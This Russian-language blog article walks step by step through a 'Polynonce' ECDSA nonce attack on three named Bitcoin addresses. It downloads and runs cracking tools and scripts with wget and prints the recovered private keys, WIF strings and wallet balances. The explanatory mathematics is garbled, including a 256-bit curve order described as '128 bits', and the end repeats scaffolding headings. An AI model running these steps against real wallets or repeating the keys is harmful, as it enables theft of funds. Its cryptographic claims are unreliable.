POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

В этой статье мы опять затронем тему: «Критической уязвимости Биткоина» и на всех трех примерах применим совершенно новую атаку 2023 года «POLYNONCE ATTACK». Самые первые упоминание об этой атаке описано в статье от «Kudelski Security».

За практическую основу мы будем брать материалы из нашей ранней статьи «Speed up secp256k1 with endomorphism» где значения на кривой secp256k1 от Hal Finney LAMBDA и BETA скрываю всю глубину неизвестности эллиптических кривых Биткоина.

Нам многое может открыть Binary number (4 digits): "1111" // Hex number: "F" //

Также нам прекрасно известно, порядок кривой secp256k1 который состоит из 128 bits Binary number (4 digits): «1111» // Hex number: «F» //

n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141

1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111010111010101011101101110011100110101011110100100010100000001110111011111111010010010111101000110011010000001101100100000101000001
Мы видим что полинома как единица в бинарном коде произвольно высокой степени 128 bits по модулю

Speed up secp256k1 with endomorphism

Учитывая этот факт первоначальный бит приватного ключа Биткоина будет Binary number (4 digits): «1111» // Hex number: «F» //

За теоретическую основу мы будем брать материалы:

«Polynonce Attack on Bitcoin»

Рассмотрим пример с Биткоин Адресом:

1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB

929d565c386a279cf7a0382ba48cab1f72d62e7cfb3ab97b4f211d5673bc4441

RawTX

02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000

Перейдем на официальный сайт: https://colab.research.google.com

Выберем опцию “Upload notebook”

Загрузим файл: POLYNONCE_ATTACK.ipynb

Загрузим HEX-данные через утилиту echo и сохраним в файл: RawTX.txt

!echo '02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000' > RawTX.txt

Чтобы реализовать атаку мы воспользуемся программным обеспечение

“ATTACKSAFE SOFTWARE”

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE) — **`www.attacksafe.ru/software`**

Права доступа:

!chmod +x attacksafe

ls

Применение:

!./attacksafe -help

  -version:  software version 
  -list:     list of bitcoin attacks
  -tool:     indicate the attack
  -gpu:      enable gpu
  -time:     work timeout
  -server:   server mode
  -port:     server port
  -open:     open file
  -save:     save file
  -search:   vulnerability search
  -stop:     stop at mode
  -max:      maximum quantity in mode
  -min:      minimum quantity per mode
  -speed:    boost speed for mode
  -range:    specific range
  -crack:    crack mode
  -field:    starting field
  -point:    starting point
  -inject:   injection regimen
  -decode:   decoding mode

!./attacksafe -version

Version 5.3.3. [ATTACKSAFE SOFTWARE, © 2023]

"ATTACKSAFE SOFTWARE" включает в себя все популярные атаки на Биткоин.

Запустим список всех атак:

!./attacksafe -list

Выберем -tool: polynonce_attack

Чтобы получить определенные HEX значение R,S,Z к подписи ECDSA, мы ранее добавили данные RawTX через утилиту echo в текстовый документ и сохранили как файл RawTX.txt

02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000

Запустим `-tool polynonce_attack` используя программное обеспечение `“ATTACKSAFE SOFTWARE”`

!./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv

Мы запустили данную атаку из -tool polynonce_attack и результат сохранился в файл SignatureRSZ.csv

Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv

Для того чтобы рассчитать приватный ключ к Биткоин Кошельку из файла SignatureRSZ.csv мы установим SageMath

Ранее мы опубликовали статью, скачаем tar-file: sage-9.3-Ubuntu_20.04-x86_64.tar.bz2

!wget https://cryptodeeptech.ru/sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
!tar -xf sage-9.3-Ubuntu_20.04-x86_64.tar.bz2

Перейдем по каталогу:

cd SageMath/

ls

Запустим Python-script: relocate-once.py по команде:

!python3 relocate-once.py

Переместим "AttackSafe" и "SignatureRSZ.csv" в папку "SageMath"

!mv '/content/attacksafe' '/content/SageMath/attacksafe'
!mv '/content/SignatureRSZ.csv' '/content/SageMath/SignatureRSZ.csv'

ls

Скачаем скрипт crack_weak_ECDSA_nonces_with_LLL.py от Dario Clavijo через утилиту wget

!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/20PolynonceAttack/crack_weak_ECDSA_nonces_with_LLL.py

Теперь запустим SageMath по команде:

!./sage -sh

Чтобы рассчитать приватный ключ к Биткоин Кошельку запустим скрипт crack_weak_ECDSA_nonces_with_LLL.py указав параметры 128 bits 4 sign

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt

cat PrivateKey.txt

Откроем файл: PrivateKey.txt

Мы получили приватный ключ к Биткоин Кошельку в HEX формате

PrivKey = 0xf0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d

Проверим POLYNONCE для каждой подписи ECDSA

Для этого воспользуемся кодом из GITHUB

Результат:

Мы получили четыре одинаковых первоначальных 128 bits

POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 efc86216627af576c29c9c52a0fd10fe
POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 f88ff4c8a9ea4b61b1e087d0c0988826
POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 6849e83cd03d103bcc37aca8323c8d2f
POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 efc86216627af576c29c9c52a0fd10fe

Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты 128 bits так как первоначальные бит приватного ключа к Биткоин Кошельку начинается с Binary number (4 digits): "1111" // Hex number: "F" //

Проверим HEX приватного ключа:

Установим модуль bitcoin

!pip3 install bitcoin

Запустим код:

from bitcoin import *

with open("PrivateKey.txt","r") as f:
    content = f.readlines()

content = [x.strip() for x in content]
f.close()


outfile = open("PrivateKeyAddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()

Откроем файл: PrivateKeyAddr.txt

Откроем bitaddress и проверим:

ADDR: 1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB
WIF:  L5HV2GiosXifcmijGCpFWdYiMRuXh4x4JVK29urGjfAWyasBYoDX
HEX:  f0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d

https://www.blockchain.com/en/explorer/addresses/btc/1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB

BALANCE: $ 3699.40

Рассмотрим остальные примеры:

№2

Рассмотрим пример №2 с Биткоин Адресом:

137a6fqt13bhtAkGZWrgcGM98NLCotszR2

c1da9d117e15883ba41539f558ac870f53865ea00f68a8ff8bc7e8a9ee67099b

RawTX

010000000103ebc5c4b817124d45ad15e398ec32e9b9b7549c1fc10300ecbf36648c3cb5d42c0000006a47304402204e97dae0ab6e4eee9529f68687907c05db9037d9fbdba78dd01a3338a48d95b602207794cb7aa308243dfbdd5c20225777cd6e01bd7c4f76bf36948aa29290129c2b0121036360352efcff6a823eabb25578a29392eab4d302955fd54ece900578d2ab83b8ffffffff0162020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000

Удалим файлы с первого примера:

!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt

Загрузим HEX-данные через утилиту echo и сохраним в файл: RawTX.txt

!echo '010000000103ebc5c4b817124d45ad15e398ec32e9b9b7549c1fc10300ecbf36648c3cb5d42c0000006a47304402204e97dae0ab6e4eee9529f68687907c05db9037d9fbdba78dd01a3338a48d95b602207794cb7aa308243dfbdd5c20225777cd6e01bd7c4f76bf36948aa29290129c2b0121036360352efcff6a823eabb25578a29392eab4d302955fd54ece900578d2ab83b8ffffffff0162020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000' > RawTX.txt

Запустим `-tool polynonce_attack` используя программное обеспечение `“ATTACKSAFE SOFTWARE”`

!./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv

Мы запустили данную атаку из -tool polynonce_attack и результат сохранился в файл SignatureRSZ.csv

Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv

Запустим SageMath по команде:

!./sage -sh

Чтобы рассчитать приватный ключ к Биткоин Кошельку запустим скрипт crack_weak_ECDSA_nonces_with_LLL.py указав параметры 128 bits 4 sign

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt

cat PrivateKey.txt

Откроем файл: PrivateKey.txt

Мы получили приватный ключ к Биткоин Кошельку в HEX формате

PrivKey = 0xff0178fa717374f7e74d43f00150748967ea04b64241ec10a10f62debb70868c

Проверим POLYNONCE для каждой подписи ECDSA

Для этого воспользуемся кодом из GITHUB

Результат:

Мы получили четыре одинаковых первоначальных 128 bits

POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 c5f6da6334586ed2bdc88a05f37bcf95
POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 6f82fbd847c138ab48e778135e908149
POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 5541022f8aeac81e5ce62e018d1cd722
POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 80e88efaff419ecd84d7ded17dc548a7

Проверим HEX приватного ключа:

Запустим код:

from bitcoin import *

with open("PrivateKey.txt","r") as f:
    content = f.readlines()

content = [x.strip() for x in content]
f.close()


outfile = open("PrivateKeyAddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()

Откроем файл: PrivateKeyAddr.txt

Откроем bitaddress и проверим:

ADDR: 137a6fqt13bhtAkGZWrgcGM98NLCotszR2
WIF:  L5mQfFuzR3rzLtneJ7Tcv64JrHjCpK64UN4JRdGDxCUTbQ8NfHxo
HEX:  ff0178fa717374f7e74d43f00150748967ea04b64241ec10a10f62debb70868c

https://www.blockchain.com/en/explorer/addresses/btc/137a6fqt13bhtAkGZWrgcGM98NLCotszR2

BALANCE: $ 1133.73

Рассмотрим остальные примеры:

№3

Рассмотрим пример №3 с Биткоин Адресом:

1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt

fa80af660fc444d87853137506df02e5c75e8c2bf75dc44589b60356867a6d98

RawTX

01000000016eb80d35b08164302e49f88d8f86bf2827a91a5650149be38f4f73751ff41437060000006a473044022043d4c025a0f3be366a0d768c721b9b9191e0c3db6f2c6bfe34e8fb24af7f379102205a4fe2cc6944e00309c35619ff1242301b84d4728b863f97326f56dbd7a782220121027ccccf5f56ed78c2a761721ff3da0f76b792fbe4eae2ac73e7b4651bc3ef19cdffffffff01c057010000000000232103bec42e5d718b0e5b3853243c9bcf00dd671a335b0eb99fd8ca32f8d5784a9476ac00000000

Удалим файлы со второго примера:

!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt

Загрузим HEX-данные через утилиту echo и сохраним в файл: RawTX.txt

!echo '01000000016eb80d35b08164302e49f88d8f86bf2827a91a5650149be38f4f73751ff41437060000006a473044022043d4c025a0f3be366a0d768c721b9b9191e0c3db6f2c6bfe34e8fb24af7f379102205a4fe2cc6944e00309c35619ff1242301b84d4728b863f97326f56dbd7a782220121027ccccf5f56ed78c2a761721ff3da0f76b792fbe4eae2ac73e7b4651bc3ef19cdffffffff01c057010000000000232103bec42e5d718b0e5b3853243c9bcf00dd671a335b0eb99fd8ca32f8d5784a9476ac00000000' > RawTX.txt

Запустим `-tool polynonce_attack` используя программное обеспечение `“ATTACKSAFE SOFTWARE”`

!./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv

Мы запустили данную атаку из -tool polynonce_attack и результат сохранился в файл SignatureRSZ.csv

Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv

Запустим SageMath по команде:

!./sage -sh

Чтобы рассчитать приватный ключ к Биткоин Кошельку запустим скрипт crack_weak_ECDSA_nonces_with_LLL.py указав параметры 128 bits 4 sign

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt

cat PrivateKey.txt

Откроем файл: PrivateKey.txt

Мы получили приватный ключ к Биткоин Кошельку в HEX формате

PrivKey = 0xfbc50a7158b3d9fd7fd58fe0874f20c10c650975dc118163debf442a44203fdf

Проверим POLYNONCE для каждой подписи ECDSA

Для этого воспользуемся кодом из GITHUB

Результат:

Мы получили четыре одинаковых первоначальных 128 bits

POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 fbc50a7158b3d9fd7fd58fe0874f20c1
POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 d4de8d539655ecf0d50fd32187c3c467
POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 6726aea1a6fd64d82dc657670352de72
POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 89df16fd387156b39adca9a92464de18

Проверим HEX приватного ключа:

Запустим код:

from bitcoin import *

with open("PrivateKey.txt","r") as f:
    content = f.readlines()

content = [x.strip() for x in content]
f.close()


outfile = open("PrivateKeyAddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()

Откроем файл: PrivateKeyAddr.txt

Откроем bitaddress и проверим:

ADDR: 1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt
WIF:  L5f7p5bReuXLm3d7rFkpPyGQ1GNpiGuj8QuQ6rNCKXC9bs3J9GEY
HEX:  fbc50a7158b3d9fd7fd58fe0874f20c10c650975dc118163debf442a44203fdf

https://www.blockchain.com/en/explorer/addresses/btc/1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt

BALANCE: $ 459.24

Literature:

A Novel Related Nonce Attack for ECDSA, Marco Macchetti [Kudelski Security, Switzerland] (2023)

Gallant, Robert P., Robert J. Lambert, and Scott A. Wanston. “Faster point multiplication on elliptic curves with efficient endomorphisms” . Annual International Conference on Cryptology, pp. 190–200. Springer, Berlin, Heidelberg, (2001)
Hankerson, Darrell, Alfred J. Menezes, and Scott Wanston. “A Guide to Elliptic Curve Cryptography” . Computer Reviews 46, no. 1 (2005)
Hal Finney. bitcointalk – “Acceleration of signature verification” . (2011) https://bitcointalk.org/index.php?topic=3238.0
Blahut, Richard E. “Cryptography and Secure Communication” . Cambridge University Press, (2014)

Исходный код

ATTACKSAFE SOFTWARE

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/7nKs_KHtyn4

Источник: https://cryptodeeptool.ru/polynonce-attack

«CRYPTO DEEP TOOLS»

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

За теоретическую основу мы будем брать материалы:

«Polynonce Attack on Bitcoin»

RawTX

Права доступа:

Применение:

Запустим список всех атак:

Запустим `-tool polynonce_attack` используя программное обеспечение `“ATTACKSAFE SOFTWARE”`

Проверим POLYNONCE для каждой подписи ECDSA

Результат:

Проверим HEX приватного ключа:

Рассмотрим остальные примеры:

RawTX

Запустим `-tool polynonce_attack` используя программное обеспечение `“ATTACKSAFE SOFTWARE”`

Проверим POLYNONCE для каждой подписи ECDSA

Результат:

Проверим HEX приватного ключа:

Рассмотрим остальные примеры:

RawTX

Запустим `-tool polynonce_attack` используя программное обеспечение `“ATTACKSAFE SOFTWARE”`

Проверим POLYNONCE для каждой подписи ECDSA

Результат:

Проверим HEX приватного ключа:

Literature:

Related Posts

Crypto Deep Tech

За теоретическую основу мы будем брать материалы:

«Polynonce Attack on Bitcoin»

RawTX

Права доступа:

Применение:

Запустим список всех атак:

Запустим -tool polynonce_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”

Проверим POLYNONCE для каждой подписи ECDSA

Результат:

Проверим HEX приватного ключа:

Рассмотрим остальные примеры:

RawTX

Запустим -tool polynonce_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”

Проверим POLYNONCE для каждой подписи ECDSA

Результат:

Проверим HEX приватного ключа:

Рассмотрим остальные примеры:

RawTX

Запустим -tool polynonce_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”

Проверим POLYNONCE для каждой подписи ECDSA

Результат:

Проверим HEX приватного ключа:

Literature:

Related Posts

Crypto Deep Tech

Запустим `-tool polynonce_attack` используя программное обеспечение `“ATTACKSAFE SOFTWARE”`

Запустим `-tool polynonce_attack` используя программное обеспечение `“ATTACKSAFE SOFTWARE”`

Запустим `-tool polynonce_attack` используя программное обеспечение `“ATTACKSAFE SOFTWARE”`